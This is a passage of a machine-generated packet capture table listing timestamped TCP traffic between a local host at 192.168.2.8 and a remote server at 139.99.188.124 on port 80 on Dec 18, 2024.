                                                        Dec 18, 2024 09:31:26.319782019 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.319788933 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.319803953 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.319828033 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.319981098 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.320025921 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.320029974 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.320044994 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.320100069 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.320100069 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.439476013 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.439560890 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.439675093 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.528935909 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.528961897 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.529176950 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.533262968 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.533283949 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.533345938 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.541446924 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.541533947 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.541738987 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.549972057 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.550013065 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.550081968 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.558288097 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.558423042 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.558629036 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.566695929 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.566817999 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.566907883 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.575095892 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.575206995 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.575272083 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.583555937 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.583617926 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.583703995 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.592056990 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.592075109 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.592175007 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.600286007 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.600353003 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.600469112 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.608747005 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.608766079 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.608962059 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.743268967 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.743319035 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.743415117 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.745903015 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.746036053 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.746406078 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.751295090 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.751405954 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.751543045 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.756761074 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.756850958 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.756917000 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.762125969 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.762258053 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.762379885 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.767540932 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.767627954 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.767704010 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.772815943 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.772975922 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.773041964 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.778316975 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.778367043 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.778485060 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.783647060 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.783699989 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.783792973 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.788985014 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.789083958 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.789176941 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.794569969 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.794595003 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.794667006 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.799834013 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.799958944 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.800056934 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.805088043 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.805258989 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.805412054 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.810623884 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.810748100 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.810847998 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.815996885 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.816128016 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.816230059 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.821288109 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.876497030 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.946019888 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.946166039 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.946268082 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.948039055 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.948153019 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.948235989 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.952569008 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.952697992 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.952797890 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.957087040 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.957173109 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.957278967 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.961535931 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.961683035 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.961970091 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.966088057 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.966161966 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.966404915 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.970549107 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.970650911 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.970719099 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.975162029 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.975203037 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.975256920 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.979532957 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.979736090 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.980504036 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.984014034 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.984148026 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.984770060 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.988528013 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.988648891 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.989034891 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.992988110 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.993082047 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.993294001 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:26.997523069 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.997576952 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.997649908 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.001988888 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.002106905 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.002322912 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.006566048 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.006692886 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.006782055 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.011073112 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.011194944 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.011334896 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.015613079 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.015743971 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.015789032 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.020121098 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.020258904 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.020365000 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.024488926 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.024584055 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.024661064 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.029007912 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.029082060 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.029141903 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.033564091 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.033591032 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.033699989 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.038126945 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.038224936 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.038341045 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.042582989 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.042669058 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.042778969 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.046957016 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.095338106 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.137286901 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.137392044 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.137569904 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.139271021 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.139328003 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.139605999 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.154675007 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.154808998 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.155342102 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.156450033 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.156593084 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.156673908 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.160125017 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.160310984 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.160414934 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.163512945 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.163661957 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.163736105 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.167092085 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.167176008 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.167277098 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.170674086 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.170759916 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.170866013 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.173935890 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.174107075 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.174182892 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.177369118 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.177491903 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.177702904 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.180670023 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.180696964 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.180757999 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.183954954 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.184092045 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.184174061 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.187374115 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.187568903 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.187630892 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.190731049 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.190862894 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.190954924 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.194056988 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.194185019 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.194291115 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.197448969 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.197640896 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.197715044 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.200798988 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.200927973 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.201020002 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.204242945 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.204356909 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.204607010 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.207668066 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.207804918 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.207860947 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.210891962 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.210972071 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.211050987 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.214251041 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.214338064 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.214692116 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.217654943 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.217803955 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.218092918 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.221613884 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.221682072 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.221793890 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.224822044 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.224858046 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.224937916 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.227931023 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.228053093 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.228177071 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.231372118 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.231456995 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.231627941 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.235171080 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.235197067 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.235340118 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.238508940 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.238651991 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.238867044 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.241558075 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.241624117 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.241729021 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.244539022 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.244678020 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.244784117 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.247977972 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.248266935 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.248423100 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.251246929 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.251331091 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.251434088 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.254646063 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.254729033 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.254945040 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.258112907 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.258203983 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.258281946 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.261502028 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.261591911 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.261677027 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.264719009 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.264847040 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.265053988 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.268069983 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.268135071 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.268265963 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.271434069 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.271572113 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.271653891 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.274818897 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.274936914 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.275264025 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.278162003 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.278233051 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.278400898 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.281527996 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.281620979 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.281907082 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.284857035 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.285007000 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.285099030 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.288295031 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.288362980 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.288429022 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.291587114 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.328316927 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.328382015 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.365984917 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.366050005 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.366099119 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.367014885 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.367119074 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.367233038 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.369437933 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.369493008 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.369570971 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.371777058 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.371913910 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.372004032 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.374332905 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.374424934 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.374475956 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.376768112 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.376828909 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.376897097 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.378701925 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.378787994 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.378848076 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.380686045 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.380769014 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.380825043 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.383358955 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.383400917 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.383536100 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.385102034 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.385128021 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.385426998 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.387195110 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.387342930 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.387429953 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.389477015 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.389549971 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.389609098 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.390585899 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.390706062 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.390805960 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.391876936 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.391993046 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.392123938 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.393151999 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.393284082 CET8049706139.99.188.124192.168.2.8
